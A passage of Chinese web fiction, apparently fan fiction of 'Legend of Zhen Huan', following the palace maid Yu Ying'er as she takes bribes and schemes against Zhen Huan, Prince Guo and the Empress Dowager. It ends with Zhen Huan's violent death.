“彩蘋,这信,务必要送到允礼手里。” 不管是明争还是暗示,皇上都没有和甄嬛睡觉的打算,这让她们的计划根本推行不下去。 彩蘋知道事情的严重性,当晚就想联系果郡王说的线人。 只可惜余莺儿早早等在了那里,从彩蘋手里接过信送到了皇上手里。 “朕还以为他们能有什么大动静。” 余莺儿也没想到,甄嬛偏吃甜言蜜语这一套,被允礼哄的像个失了智的恋爱脑,真的在认真的为自己肚子里的孩子上户口。 要知道,这个时候的甄嬛刚入宫一年,虽说也算是经历了大起大伏,但毕竟还在皇上的视线范围内,胆子果然是没有最大只有更大。 “这动静还不大呢?皇上您果然是做大事的,奴婢听着都觉得瘆得慌。” 皇上其实是不痛快的,就算是个普通男人得知了自己被戴绿帽子也是无法接受。 更何况是一个帝王。 但余莺儿并不希望皇上失去理智,因为失去理智就代表着迁怒。 她三言两句的把皇上捧了上去,皇上又偏偏吃这一套。心思很容易的在喜与怒之间徘徊,然后偏向自己更愿意接受的那一面。 “你呀就是心思浅,朕身为皇帝,要什么得不到?甄嬛也不过是个小小女子,无知自负,还不配叫朕动怒。” 反过来,皇上甚至还想着教育余莺儿两句。看着她同仇敌忾的脸色心里头特别舒畅。 他有什么好气的呢?这不有人急他所急,气他所气了吗? 余莺儿的表情还是七个不服八个不愤的:“皇上您就是太大度性子太好,奴婢就看不惯他们那没良心的样子。 吃皇上的喝皇上的用皇上的,没有皇上,哪有他们这逍遥的日子。果郡王跛着个脚,天天念两首酸诗叫什么本事?甄答应如此因小失大,一点眼光都没有。” 皇上那点郁气早就散了去,对纯元脸的那一点不舍也飞了干净。莺儿说的对,他是做大事的皇帝,一点点儿女情长,不值一提。 “何必计较燕雀的短视,且等着他们出招就是了,你陪着甄答应和果郡王玩玩儿,朕也瞧瞧你的本事。” 余莺儿确定了皇上是真的把这事放下了后,才换了一副充满干劲儿的神情捏了捏拳头:“放心吧皇上,包在奴婢身上。奴婢绝不会叫这等腌臜的脏事沾到您一点的。” 皇上点了点头,随手敲了敲自己手里的折子:“年羹尧的弹劾折子可不少,朕都看累了。” 虽然年羹尧最近沉迷小说无法自拔,但他做过的孽障又不是一笔勾销了。朝中那些看不惯他的人比比皆是。 余莺儿歪了歪头:“小错打板子大错抄家,还不解气就砍脑袋。” 皇上沉默了一会儿,挥了挥手:“下去吧,和华妃透露个口风,也叫你赚点金子。” 余莺儿响亮的应了一声:“诶!多谢皇上!” 第372 章 余莺儿21 皇上的态度很明确,他对华妃确实有两分难得的真情。罪魁祸首年羹尧如今不是肯改正,而是沉浸在了别的歪门邪道里,所以他还在掂量。 余莺儿在心里思量好了皇上对年家的容忍度,刚走到永寿宫和启祥宫中间的甬道上,碰到了被吉祥扶着的端妃。 “奴婢给端妃娘娘请安。” 端妃脸上带着温和的笑意,却任由着余莺儿行全了大礼。 “余姑娘快起来,可是要去办差事?” 温和的秋风从端妃的脸前拂过,她顺势捏着帕子轻咳了两声,苍白的脸上涌起一抹红晕,瞧着更加病态。 余莺儿的腿窝只微微打了个弯,端妃如此端着架子,她自然没什么好脸色。 “奴婢为皇上办事哪有得闲的时候?端妃娘娘身子不好用不用寻太医来瞧瞧?这儿离着皇上的养心殿可没多少距离,若是连累了皇上,可怎么好?” 她的嗓音本就尖亮,原主的刻薄更是被她翻番的发扬光大。 吉祥的脚不自觉的往前迈了一步,脸上也带了几分怒气。 端妃拍了拍吉祥的手,还是那副老好人的模样:“本宫这是老毛病了,不碍事。余姑娘有差事在身便先去忙吧。” 敷衍的行了一礼,余莺儿转身离开。 她伶俐的小耳朵高高竖起,听得后头那位吉祥小声的和自家主子抱怨着她这个御前宫女‘狗仗人势’的话后猛地调转脚尖折回。 “看来娘娘您的宫女对奴婢的主子很有意见?狗仗人势?这是说奴婢的主子是非不分纵容奴婢作恶了?不巧了不是,奴婢可听不得外头有人说奴婢的主子坏话呢。” 说着,余莺儿示意身边的管彤把吉祥双臂反剪着困住,忽略端妃难看的脸色,直接叫人拧送到了内务府。 “娘娘心善,但这样敢在背后随意议论皇上的奴婢,可万万不能留在身边啊。” 余莺儿那副挑衅的嘴脸在端妃眼里慢慢和华妃的脸重合。 她捏着帕子孤零零的站在甬道上,慢慢褪去了温和,眼神里带着上位者的轻视和嫌恶。 “本宫的宫女怕是由不得余姑娘做主。” 余莺儿却不吃端妃这一套,她得意一笑,手指间勾着一枚鎏金的圆形令牌晃了晃:“端妃娘娘许是养病久了,对后宫事不太了解。皇上金口玉言,后宫这些宫人啊,可都归奴婢管呢。” 无视端妃越来越冷的脸色,她摸了摸自己的衣袖表情更是嚣张:“娘娘恕罪,奴婢还有差事,便先行一步。” 这地界儿本就在翊坤宫前头,余莺儿快走两步,在端妃的目送里大摇大摆的进了翊坤宫的大门。 翊坤宫的守门太监小许子看到余莺儿被端妃拦住,第一时间就跑进去喊了周宁海。 周宁海带着一帮小弟守在翊坤宫门口,只等着余莺儿一声令下呢。 不过他很失望,端妃太辜负他周宁海的期待了。 余莺儿的后脚都踏进门了,那端妃还在看,周宁海便率领众位小太监小宫女大声喊了一句:“余姑姑快请进,娘娘等着呢。” 余莺儿给了周宁海一个‘干得漂亮’的眼神,周宁海又嚣张的回头‘tui’了一口,仆随正主,那招人恨的劲头不打一丝折扣。 “御前的人端妃也敢端着架子,果然是阴沟里的老鼠,目无半寸长远。” 华妃正和丽嫔,曹贵人两人商量着怎么教训一下突然得宠的柔常在,毕竟这后宫里的软柿子还真不多了。 瞧瞧皇上后来纳进宫几个,位分倒是不高,但都是底蕴丰厚的满族老姓了。华妃是莽又不是傻,这些人顶多是口头针对,上手是决计不行的。 人家那些姓氏在深宫深耕多年,可不是她这个华妃能连根拔起的。 余莺儿没有接华妃这话,反而是看了看曹贵人。 曹贵人意会,拉着丽嫔行礼告退。 “怎么了?可是有事?” 余莺儿的表情不复从前的轻松友善,华妃的心提了提,总觉得有些不安。 “娘娘,奴婢今儿也是冒着大不敬来给您提一句。” 华妃看了眼颂芝和周宁海,周宁海连忙带着人守在门口,一个苍蝇都不放过。 “怎么了?可是哥哥那里出事了?” 合作这么久,华妃对余莺儿很是信任。 “娘娘也知道,年大将军军功在身,人难免有些傲气。原本这也无伤大雅,但大清并不是年家的大清,也不是汉人的的大清啊娘娘。” 若是余莺儿上来便讨伐年羹尧的罪责,华妃是不服气的。 但她娓娓道来由功到过叫华妃有个接受的过程,尤其是那句,大清不是年家的大清,似是一瓢凉水,浇的华妃指尖都失了温度。 她正了正神,余莺儿肯把这消息带出来,就是存了帮扶的意思。 “余姑娘,本宫也不和你说那些没用的花花样子,你且告诉本宫,皇上他.....是不是要对哥哥......” 华妃一向是不示弱的,但年羹尧,年家,是她唯一的软肋。 此刻骤然听闻年家可能会有灾殃,她实在无法叫心绪平复。 “皇上若是想着立刻动手,奴婢哪有机会来您这里走这一趟?” 华妃一把拉住余莺儿的手,嘴唇微微有些颤抖,眼神晃了晃,深呼吸问出了一句余莺儿没想到的话:“皇上,皇上他是在意本宫的,是不是?” 余莺儿在脑子里痛骂一百句死恋爱脑,表情依旧是无懈可击。 “娘娘,皇上若是不在意您,凭奴婢的身份,哪里就能窥探这样重要的朝政了。” 但是余莺儿喜欢华妃这样的恋爱脑,解救华妃?,从华妃的口袋里掏钱?。 华妃点了点头,红红的眼眶包着颤巍巍的泪珠,欲落不落的样子,真是美极了。 “本宫,本宫的哥哥,现在......” 华妃有些语无伦次,她心里好像有些想法,但又似没有什么章程,总之人都是懵的,完全没办法思考。 余莺儿用力握了握华妃的手,语重心长:“娘娘,年大将军有再大的功劳也是臣子,您说,这臣子和皇上的日子,能比吗?” 华妃下意识的摇了摇头,当然是不能的,若是可以,那颂芝不是要爬到她头上了吗? 爬到头上....... 华妃好像知道余莺儿的意思了。 “本宫明白了,多谢余姑娘特意告知本宫,这些是本宫的小小心意,余姑娘收着。” 华妃把自个儿梳妆台下头的小箱子抱了出来,亲自交到了余莺儿手上。 沉甸甸的,属于抱一下行,一直抱着,得砸脚的重量。 “周宁海,去把余姑娘送回去,小心着些,若是被那不长眼的碰了,本宫便拿鞭子抽你。” 周宁海在外头心惊胆颤的守着,听到里头自家娘娘那中气十足的喊声,心里头的大石头才落地。 谄媚的接过余莺儿手里的箱子,这压手的重量叫他清晰的认识到,自家确实有了大麻烦。 走到门口,突然想到路上遇到的端妃。 她扭过头凑近华妃轻声说了一句:“娘娘,不论听到什么叫您难过的消息,先来问一声奴婢。” 端妃今日的状态有些不对,看来甄嬛是打算两头下注了。 皇上害没害年世兰都不要紧,她余莺儿的大客户谁也不能打主意。 第373 章 余莺儿22 回到养心殿,余莺儿懂事的把箱子里的收益分了一半给皇上。 这种不费吹灰之力得来的金子,分出去些才好接着赚。 “华妃出手一向大方。” 皇上捏着一根金条神色有些莫名。 想来年家的贪污确实惹到了这位抄家皇帝的眼。 余莺儿随意的把箱子搁在地上,语气里带了些轻巧和无知:“年大将军毕竟受皇上重用,就跟奴婢似的,想来送钱的人肯定多。” 那骄傲的模样比皇上养的那只百福还要蠢一些,看的皇上叹了口气。 “你好歹也是御前的大宫女,年羹尧如何能跟你比。” 皇上哄人的话从不重样,别说年羹尧了,余莺儿也顶不住啊。 “年大将军确实跟奴婢比不了,奴婢收钱也是有条件的,那劳什子脏的臭的于皇上不益的奴婢可不要。要奴婢说啊,年大将军就是离皇上太远了,所以把路走窄了。” 这番话皇上听着也稀罕,他面上带了几分笑意歪着头看余莺儿:“哦?这话如何解?” 余莺儿又把皇上特制给她的鎏金圆牌拿出来晃了晃:“年大将军出门打仗,天高路远的,很容易被眼前一时的风光晃了眼。收敛些不义之财被前呼后拥的虽然一时痛快,却忘了身为奴才的本分,最后肯定是会被皇上收拾的。 而奴婢,老老实实守着皇上,做什么事都要掂量一下皇上的心意。既得了利,又不至于看不清自个儿身份。您说,奴婢是不是比年大将军厉害?” 皇上点了点余莺儿的肩膀只是笑,并没有搭理她。 余莺儿看皇上心情恢复了不少,对着手里的折子却仍旧没有动弹,心里头有数。 “皇上,奴婢路上还碰到了端妃娘娘,把端妃娘娘的贴身宫女吉祥退回内务府啦!” 这语气怎么还挺骄傲呢?皇上叹了口气,他现在确实看不进去手里的折子,和他这位大宫女说会儿话也好。 “刚夸了你,端妃又怎么惹着你了?” 皇上对余莺儿的公正虽然持怀疑的态度,但余莺儿也不是无缘无故仗势欺人的。端妃又从来不往养心殿来,按理说余莺儿不会在有差事的情况下胡乱找事。 “还不是那个吉祥,说奴婢狗仗人势。您听听,这是一个妃位娘娘的贴身宫女应当在外头说的话吗?自个儿关上门悄悄的就得了,奴婢本来也不是什么好人。” 皇上摇了摇头,不愧是他的奴才,就是这么理直气壮。 “端妃和华妃有旧怨,你,机灵着些。” 自个儿亲自扶上来的奴婢,只能自己提点了,皇上还在思考这桩旧怨有没有必要隐晦的说上两句,没想到余莺儿根本没打算刨根问底。 “奴婢机灵着呢,管娘娘们孰对孰错呢,跟奴婢也没多大关系,奴婢就跟着皇上走,皇上若是没有指示,奴婢就站在华妃娘娘那头。” 皇上笑了一声,从桌子上拿起一根金条晃了晃:“你分明是站在金子那头的。” 余莺儿理直气壮叉腰,谁让端妃没给她创收呢,这能怪的了谁。她一个做奴才的,不跟着钱走跟着理想走吗?她的理想就是钱啊! 有今日这番提点,年羹尧能听进去呢,皇上清算的时候就下手轻点。年羹尧听不进去呢,余莺儿就再去赚一笔,总归,哪样都不会亏就是了。 眼看着敬事房的人来,皇上想了想去了永和宫的伊尔根觉罗常在那里。 而忙碌的余莺儿则是在养心殿后头见了几个送信儿的宫人。 “余姑姑,前儿个端妃娘娘去了碎玉轩。” 名唤香果的宫女一直是负责延辉阁的洒扫,那里虽然油水少,但因为没什么贵人去,便落了一个安全清净。 余莺儿给她每个月一个银角,还时不时送两个吃不完的点心,这香果便忠心又专心负责碎玉轩的消息。 余莺儿的猜想得到了证实,她就说华妃如日中天的时候,端妃还敢这样出来溜达,明显是有了底气。 “待了多久?” 香果掏出来自己的手帕,里头乱糟糟的用指甲划的七七八八的印子,都是御花园往来的小主娘娘们说话的长短。 “约莫有两刻钟的时间呢。” 那应当是交易成立了,也不知道甄嬛许了什么好处给端妃。 “奴婢凑近转了转,好在那甄答应住在后殿,奴婢只听的有些动静,但并没有听清两人的谈话。” 香果的情绪有些低落,她吃了余姑姑那么多点心,这点小事也没有做好。 余莺儿又拿了个碎银子塞给香果:“好香果,这消息就很重要了。至于她们说什么,不用你操心,你注意着自己安全就行。” 打发走了香果,余莺儿叫来一个面容十分平凡的小太监上前。 “你去碎玉轩,把里头的宫女唐伽悄悄喊来。” 这小太监是景阳宫的人,平时都不出来,就算被看到了也不好找。 更何况小允子在秋千事件中早早下线,碎玉轩的人手可不是甄嬛一个小小的答应能拿捏的。 除了流朱和彩蘋,碎玉轩的消息,基本上是随便打听。 唐伽是二等宫女,也属碧鲁氏的姑娘,对甄答应根本没有任何敬重。 “甄答应和端妃娘娘合作,只要甄答应能顺利侍寝,就能保证有孕。端妃娘娘要甄答应的孩子,甄答应也同意了。” 余莺儿想了想,应当是甄嬛的位分太低,就算是一个儿子也不至于叫她坐上一宫主位。所以只能给自己孩子找个靠山。 敬嫔本是最合适的人选,但可惜敬嫔回宫后直接把她从咸福宫挪了出去。 端妃还以为自己能得偿所愿,啧啧,这孩子怕是能直接把她送走。 “你回去吧,不用管甄答应的事,什么都离远着些。” 余莺儿摆摆手把人打发了出去。 碧鲁氏的人,她都不需要给银子。 毕竟她还照顾着玉贵人。 看了看床头上的小盒子,里头满是甄嬛和果郡王来往的书信。 也不能说来往,毕竟两人的书信都被余莺儿给拦截了下来,可能,这也是甄嬛病急乱投医的缘由之一吧? 余莺儿把果郡王那一封封溺死人的情书掏了出来递给一旁的夏刈。 “应该怎么做你心里头有数吧?” 夏刈点了点头,拍了拍兜里准备好的药。 既然皇上把这两个人交给了余莺儿处理,那余莺儿就不能给皇上留下一点磕绊。 就先拿果郡王开刀吧。 第374 章 余莺儿23 明明很简单的事情,只用每晚去果郡王府开窗通风,这非常简单非常幼稚的手段迷惑住了本就不聪明的夏刈。 “余姑娘,这未免也太......” 虽然夏刈没有明说,但那嫌弃的表情余莺儿可看的真真儿的。 “手段虽然低级,但效果好啊。你负责给他弄出高热,再在太医开的药里兑点水,烧傻了也有咱们皇上照看着呢,又出了气又得了名声,也没有尾巴叫那些天天犬吠的人抓,这怎么不好了?” 余莺儿一脸无辜,她对夏刈还是很了解的,一定会去跟皇上打小报告,这人设啊,就是得时时刻刻的立着。而且,不是余莺儿小瞧人,夏刈办事,好像就没成功过几件。太难的,她也不敢叫夏刈自己去干啊! 夏刈想了想,也觉得有道理。毕竟招不在新有用就行。比起下药,这开开窗洒洒水的事,确实简单又不留痕。 这明面儿上把差事交上去,余莺儿便一如往常般在宫里头随意溜达。 偶尔给皇上说说书,给华妃解解惑,收一收玉贵人和锦贵人的礼,挡一挡皇后和剪秋那些上不得台面的手段,看一看甄嬛和端妃手段尽出的乐子,顺便接了富察贵人的保胎单子。 富察贵人虽然不够聪明,但胜在家里头的富察氏脑子突然觉醒,知道给宫里这位小主找个靠山。 余莺儿把延禧宫的脏东西捡了捡,嫌弃的摇了摇头:“小主您能平安怀上皇嗣也是祖宗保佑了,您家里头就没有给送一个有用的宫女儿吗?” 指桑骂桑算是让余莺儿玩儿的很明白了,富察贵人只是有点蠢萌,还是能听懂人话的。 这几日随着脏东西一点点被挑出去,她的脑子好像也回来了,变的内敛低调了许多。 “多谢余姑娘了,这是我的小小心意,今后还请余姑娘多多照看。” 上道的富察氏可是不缺银钱,出手之阔绰堪比第二个华妃。 余莺儿毫不客气的接过自己的酬劳:“小主放心,奴婢收了钱,就绝不会叫您有危险的。” 那一整个紫檀木的箱子打开,里头是整整齐齐码放的金砖。 富察家如此上道,余莺儿自然不会让人家觉得这钱花的不值。 三两句话,便把同住一宫的柔答应挪到了启祥宫去,凭丽嫔那张嘴,曹贵人那脑子,安陵容那会脑补的性子,怕是今后有的熬呢。 皇上如今也不糊涂,玉贵人和锦贵人有孕初都进了位,富察贵人便也得了个封号嘉,记仇归记仇,一些些面子工程皇上还是要做的。 除了甄嬛和端妃还在试图勾引皇上睡觉,后宫表面上一团平静。 而余莺儿,也得到了她想要的消息。 果郡王宫里头的线人是御花园洒扫的小太监小林子和内务府负责采买跑腿太监小单子,两个人经手的消息都是余莺儿左手倒右手的糊弄。 果郡王没有再接到甄嬛的消息没有怀疑过自己的线人,反而是怀疑起了甄嬛的心意。毕竟两个人也算得上是互相算计,那点子真心都用来演戏了。 余莺儿喜欢打听消息的形象早早立住,偶尔拿着瓜子花生去嬷嬷宫女里说些小话都是常事。 小林子和小单子偶尔听闻碎玉轩常请了太医去看,再加上彩蘋在甄嬛这里并不算自己人,所以大部分事都是流朱做的。导致小林子一问三不知,还以为主子的事要坏,这不就把消息送到了果郡王处。 而果郡王一时情急以为甄嬛想要偷偷流掉自己的孩子,便四处找了大夫寻了可靠的保胎药。 这事到底是不能宣之于口,果郡王为了不被人发现,叫府里的小厮净往京城边缘处的药店去买,跑了几次,果断染上了时疫。 不过果郡王的身体不错,即使发现了跑腿的小厮发了热也没当回事。 虽说现在不敢光明正大的在后宫行走,但打着给太后请安的由头进宫的事,果郡王可没少干。 他年纪轻身体好,时疫最开始在他身上的症状并不明显,只是些些鼻塞,果郡王并没有放在心上。 太后也只是嘱托他记得喝药,便把人打发了出去。 果郡王倒是想四处溜达,可碍于御前大宫女余姑娘得知了京城外头有时疫,对进宫的人管制的格外严厉。 他尝试了几次都没有得逞,只好作罢。 “皇上不好了,太后娘娘突发高热,人已经昏迷不醒了!” 等了几天,这好消息终于是来了。 余莺儿深吸口气立刻上前行了一礼:“皇上,奴婢脚程快,先去寿康宫看情况,皇上您别着急。” 皇上是知道余莺儿这精神头的,闻言点了点头没有顾上说话,赶忙往寿康宫赶。 余莺儿先一步到了寿康宫,看了眼两位太医赶忙询问病情。 得益于她这段时间比较关注宫外时疫的事,太医对太后的症状也算是有把握。 “余姑娘,太后娘娘这应当是染上了时疫。” 余莺儿眼珠子一瞪,立刻组织寿康宫的人封宫。 “皇上!您不能进来,奴婢知道您孝顺心疼太后娘娘,但这时疫来势汹汹,寿康宫已经有几个宫人没了意识。您是一国之君,万不能在这个时候冒险。 皇上您放心,奴婢在这里守着。刚刚奴婢也问了,这几日寿康宫的宫人除了去御膳房和内务府也没有接触外人。除了皇后娘娘和果郡王,寿康宫一直是安安静静的。” 余莺儿隔着寿康宫的大门跟皇上喊话,语气又快又急但处理的格外周全。 皇上抹了把脸,名声和由头余莺儿都给他了,他确实没必要愣往里头闯。 “你在里头小心些,朕会查清楚这时疫的来源的。” 形势严峻,皇上得赶紧回去主持大局。 宫里头的宫人们经过余莺儿的调教格外的有条理,倒也不用皇后和华妃太过操心,后宫井然有序的运作了起来。 余莺儿在寿康宫也没闲着,偶尔在太后的药里加点水,叫她始终没能清醒过来。 本来两人是井水不犯河水的,谁叫太后非要给她的好侄女皇后出头呢,找了人手要她余莺儿的命。 唉,做个安享晚年的太后不好吗? 余莺儿眼睁睁的看着太后烧了几日,基本可以确定人救回来也没办法找事后,才义无反顾,奋不顾身的成功‘染’上时疫,以身试药,为太后,为大清的百姓做出了巨大的贡献。 吃了和弘晖同款的药丸子,那病因只附在身体表面,余莺儿没有受一点罪,但收获了皇上的感动和赏赐,还有太后的私库,也算是收支平衡了。 “皇上,余姑娘以身试药伤了根本,怕是,怕是于寿数有碍......” 太医的背书,太后的清醒,后宫的和谐,叫皇上对余莺儿的信任达到了顶峰。 “等你病好了,便领尚宫和御前一等宫女两份俸禄。朕额外补贴你五十两,和一道妃位以下不行大礼的旨意。” 这可是时疫,还连累到了皇上的娘,但凡处理的慢一点,皇上这罪己诏都得先写好放着了。 余莺儿虽然觉得理所应当,但表面还是做了做样子:“奴婢哪里能要的起这般赏赐,皇上心疼奴婢,给些银子打发了就是,别叫不明事理的人误了皇上的名声。” 皇上被这么一提醒也反应过来了,不光得赏赐,还得宣扬呢! 第375 章 余莺儿24 余莺儿在圆明园得的那个能言善辩的宫女有了新的用处,培训说书先生。 这好名声两个人都得了,甭管里头的水分有多大,总之结果摆在这,皇上的名声在激进的百姓嘴里都快赶上了活菩萨。 而这扬名利双收的拉扯里,唯二受伤的只有果郡王和太后。 果郡王府上的小厮染了时疫,果郡王生病不自知进宫请安传染给了太后。单是不孝这一条,皇上就扒了他的郡王的爵位,变成了贝子。 再加上果郡王在宫外,太医名医得了皇上的口谕要先保住百姓,果郡王没能及时得到救治,高烧不退成了傻子。 皇上不计前嫌,又恢复了果贝子的贝勒爵位,表示自己一定会照顾好这个弟弟,再次刷了名声。 “虽说奴婢头前儿也是打着把果郡王烧成傻子的目的,但没有现在的效果好。” 其实身体很好,但仍旧做亏空状的余莺儿在养心殿都有自己的座位了。 她穿的厚厚的,脸色苍白的还跟皇上分析自个儿那‘幼稚’的手法。 皇上虽然对那办法表示了嫌弃,但不得不说,殊途同归确实好用。 “那甄答应呢?” 眼看着甄嬛的肚子都有些明显了,皇上迟迟不肯上钩。想来碎玉轩的主仆三人不太好过吧? 余莺儿神神秘秘的笑了笑,探了探身子凑近皇上:“听闻端妃娘娘这几日在练琵琶呢。” 皇上听闻有些怅然,看着手里的茶盏半晌没有说话。 余莺儿也不打扰,自个儿看着外头的阳光也乐的自在。 “端妃的琵琶还是纯元亲自教的。” 皇上突然开口,余莺儿想了想,表情谨慎又带了些好奇:“奴婢有些话,不知道当讲不当讲。” 皇上打起精神,点了点头。 “皇上,照您这么说,端妃娘娘和纯元皇后的关系应当是很不错的吧?” 其实不给余莺儿送礼的宫妃也有,她也不记恨那些不给她送业绩的。 但人家都客客气气的,一口一个余姑娘叫的亲热。哪里像端妃那样,瞧着客气,其实包着高高在上的优越感,实在叫人倒胃口。 “是啊,纯元好音律,端妃也有所建树,两个人总是凑在一起弹琴。” 余莺儿有些摸不着头脑的样子看的皇上从回忆里脱了身。 “你这是什么样子?” 余莺儿咧着嘴笑了起来,看起来憨憨傻傻的,一点也不像那个精明的余姑娘。 “奴婢就是不太理解。” 她说着,两个手还比比划划的。 “奴婢和管彤关系不错,若是管彤出事了,奴婢爱屋及乌肯定会照看着管彤的家人。” 说到这里,余莺儿的神色带了些别扭和迷茫:“那皇后娘娘是纯元皇后的妹妹,怎么端妃娘娘就看着皇后娘娘天天被华妃娘娘气来气去的吗?” 皇上想着余莺儿年轻,所以看事情太表面,正好今天有时间,也想着教一教。 “端妃和皇后的关系一般,不过后来华妃入府,端妃和华妃倒也合的来。” 余莺儿的脸蛋有些扭曲起来:“啊?这对吗?真的是和华妃娘娘合的来吗?不是华妃娘娘得皇上您喜爱吗?” 中肯的,正确的,一针见血的,醍醐灌顶的。 皇上想要为端妃说上两句,但又不知道从何说起。 “那,端妃娘娘怎么现在和华妃娘娘又不好了?” 余莺儿偷摸看了看皇上的脸色又补充了一句:“这是能问的吗?” 这事也算是皇上的心病了,看着余莺儿那蠢呵呵的样子垂了垂眼。 “因为华妃当年有孕,端妃一碗安胎药打掉了华妃六个月的胎。” 余莺儿猛地站起身凑近皇上看了看。 “皇上,您跟端妃娘娘的关系不好吧?” 这话题的跳跃太快,皇上都有些跟不上了。 “端妃是头一个入府的,朕那时不算大,所以并没有太过关注她。” 余莺儿这才后怕的拍了拍胸口:“那幸好。您看,端妃娘娘说着和华妃娘娘关系好,就是这么好的。要是她说跟您关系好......咦!” 这表情实在好懂,皇上冷哼了一声。 “年羹尧跋扈,若是得了皇子,还不知道要闹成什么样子。” 这话算的上是明示了,余莺儿‘必须’得听懂了。 她疑惑又恍然大悟般的点了点头:“成大事者不拘小节,皇上您做什么都是对的。” 皇上头一次见到这样是非不分唯他是天的人,一时间心里头有种别别扭扭的酸涩。 他自个儿都觉得这事腌臜阴暗,没想到余莺儿跟正常人不一样。 “你,算了,华妃那里你注意着些就是。她性子虽然急,但从前并不是这般跋扈之人。” 余莺儿满脸疑惑:“华妃娘娘哪里跋扈了?” 皇上:他从来没见过这么愚钝之人。 余莺儿却对这些话题没有兴趣,反而继续孜孜不倦的为端妃说坏话。 “皇上,那端妃娘娘就更奇怪了啊!就算皇上您有所忌惮,跟端妃娘娘也无关啊!她大不了装病嘛!皇上您最多就是不去找端妃娘娘睡觉,总不会要了她的命呢。 您看看,好姐妹呢!她都能如此下的了手。完了,奴婢上次发作了吉祥,端妃娘娘一定记在心里了。” 余莺儿越说越绝望,身子顺溜的从凳子上滑下来抱住皇上的腿:“皇上,奴婢今后还是老老实实在养心殿当宫女吧,外头的事奴婢可不去了。” 养心殿多安全啊,余莺儿觉得自己机智极了。 皇上简直被余莺儿的脑回路逗笑了,这都哪跟哪的事啊!端妃就算.....也应该不会对他御前的宫女动手,的吧? 这话想的皇上自个儿都不自信了。 “正好这段时间你在后头养病,端妃若是和甄答应有了动作,朕就顺水推舟把人处理了,这下你可就放心了?” 余莺儿想了想,还是觉得不太放心:“皇上,要不还是等奴婢好了再说吧。您身边那个夏刈怪没脑子的,您别被占了便宜。” 皇上不想说话,把余莺儿撵了出去。 这机会很快就到了,毕竟甄嬛的肚子确实要盖不住了。 一个春日的夜晚,御花园附近响起了一阵如泣如诉的琵琶曲,皇上一个人溜溜哒哒的被吸引过去,走到了碎玉轩的门前。 借着明亮的月色,院子里的梨树下一位身着湘妃色衣裳的女子翩翩起舞,随着曲子甩动着飘逸的水袖。 半遮半掩的大门叫皇上看的并不算真切,只是那背影太过像故人,他不由自主的推门而入。 “臣妾/嫔妾给皇上请安。” 端妃亲自出手,甄嬛的眉眼更似故人。 皇上有一瞬间的愣神被两人捕捉,自以为计划顺利,却没看到皇上的视线转而落在了甄嬛的肚子上。 “你们二人倒是好雅兴。” 皇上的语气平常,听不出欢喜也听不出怀念。 端妃直觉不对,拉着甄嬛没有继续说着准备好的台词。 “臣妾清闲,只是有感而发而已。” 皇上笑了笑,突然说了一句题外话:“甄答应向你保证自己能得一个孩子吗?你没想过,后宫这么多人,凭什么她说有就有呢?” 端妃顾不得皇上点破二人的交易,几乎是瞬间就理解了皇上的言中意。 她猛地扭头看向一旁脸色微微泛白的甄嬛,巨大的恐慌叫端妃有些喘不上来气。 第376 章 余莺儿25 琵琶从端妃的臂弯里滑落,砸在碎玉轩正殿前的青石板台阶上,发出闷闷的声响。 万般复杂的念头都随着这一声被召回,端妃知道,这一次,她是再没有后路可退了。 甄嬛跪在地上,身上轻薄的舞衣沾染了灰尘,那漂亮的水袖勾缠在一起,莫名的碍眼。 皇上懒得再看那张肖似发妻的脸,右手轻轻挥了挥。高无庸轻声上前,一手捂着甄嬛的嘴,一手利落的破了那张芙蓉面。 端妃静静的站在原地,眼神悠长冷漠。 清冷的月光洒在碎玉轩这小院子的青石板上,温热喷涌而出的鲜血顺着高无庸的手没入两个人的衣袖和裙摆中。剧烈的疼痛和通奸的罪责把甄嬛压垮,很快就失去了意识瘫软了下去。 “臣妾自知助纣为虐,险些混淆了皇家血脉,但臣妾可以发誓,臣妾只是想要一个孩子陪伴左右,并没有欺君之心。” 皇上把这样隐蔽的皇家秘辛摊在她面前,端妃并不觉得荣幸,反而像一把闸刀落在了头顶,整个人都散发着寒气。 她跪的板正,抬起头对上皇上冷漠的眉眼凄惨的笑了笑:“臣妾今晚受甄答应所邀赏月,却未曾想甄答应因失宠精神错乱,一时情急失手推搡下,甄答应摔到了脑袋没了气息。” 见皇上表情未变,端妃咳了两声继续说道:“臣妾自知有罪,请皇上责罚。” 皇上点了点头,高无庸捂着甄嬛嘴的手上移,几息间人就没了气息。 “端妃,失手伤人,褫夺封号降为答应,禁足延庆殿,永不得出。” 话落,皇上转身离开碎玉轩,高无庸在身后处理余下的杂事。 如今已经快戌时末,大部分人都进入了梦乡。 但甄答应殁端妃变齐答应一事还是太过惊世骇俗,不少人匆匆披着外衣起身,拉着自个儿的贴身宫女说道一二。 “你说的可是真的?!” 这件事最开心的便是华妃,她这些时日的精力完全困在劝慰年羹尧中,除却去景仁宫膈应膈应皇后,已经很久都没有体会到新鲜的乐趣了。 颂芝的瞌睡早就飞了去,她兴奋的把外头打听到的消息告诉自家娘娘。 “真真儿的,高无庸还在碎玉轩处理甄答应的后事呢!” “甄答应......” 华妃的眼神有一瞬间的茫然,宫里头新来的女子太多了,这等上不得排面的人物早就被忘在了脑后。 “就是在御花园搭秋千的那位小主。” 颂芝轻声提醒了一句,华妃才有了印象。 “是她啊。” 虽说刚进宫时还算受宠,但也不知是不是命不好,总之不进反退,和她那个进了冷宫的手帕交沈氏,哦不对,是贾氏一般,又能折腾又上不得台面。 “可是去余姑娘那里问了?” 其余的事便罢了,齐月宾的事,华妃一个细节都不想错过。 颂芝闻言尴尬的笑了两声:“娘娘您忘了,余姑娘的身子......这个时候早就睡下了。” 自从余姑娘给太后试药毁了身子,皇上已经许久不放人出来走动了。 华妃点了点头,这段时日没有余莺儿确实难熬了些,那上错花轿嫁对郎还未听完剩了个小尾巴,那心里头像是有孔雀扇子拂过一样,坐立难安。 “明日你再去问问,顺便给余莺儿送些补品。” 颂芝忙点头,两个小发髻跟着晃了晃,可爱极了。 这一晚东西六宫罕见的烛火明了半夜,后宫就这么大点,微微的风吹草动就叫大家背地里讨论出八百个版本。 先是时疫,后又有齐答应和甄答应的晦气,皇后决定办一扬赏花宴,好叫大家也散散心。 宫里头现在有三个孕妇,要说皇后没有别的打算,余莺儿是决计不信的。 她拖着病歪歪的身子先后都跑了一趟。 延禧宫里确实出现了一盒新来的香粉。 “那是皇后娘娘派人送来的,说是我有了身孕,怕寻常的脂粉对孩子不好。” 嘉贵人看着余莺儿端着香粉盒子许久,心里头砰砰砰的一直在跳。 “这香味儿奴婢也不确定,只是觉得有些奇怪,小主若是同意,奴婢就拿去太医院瞧瞧。” 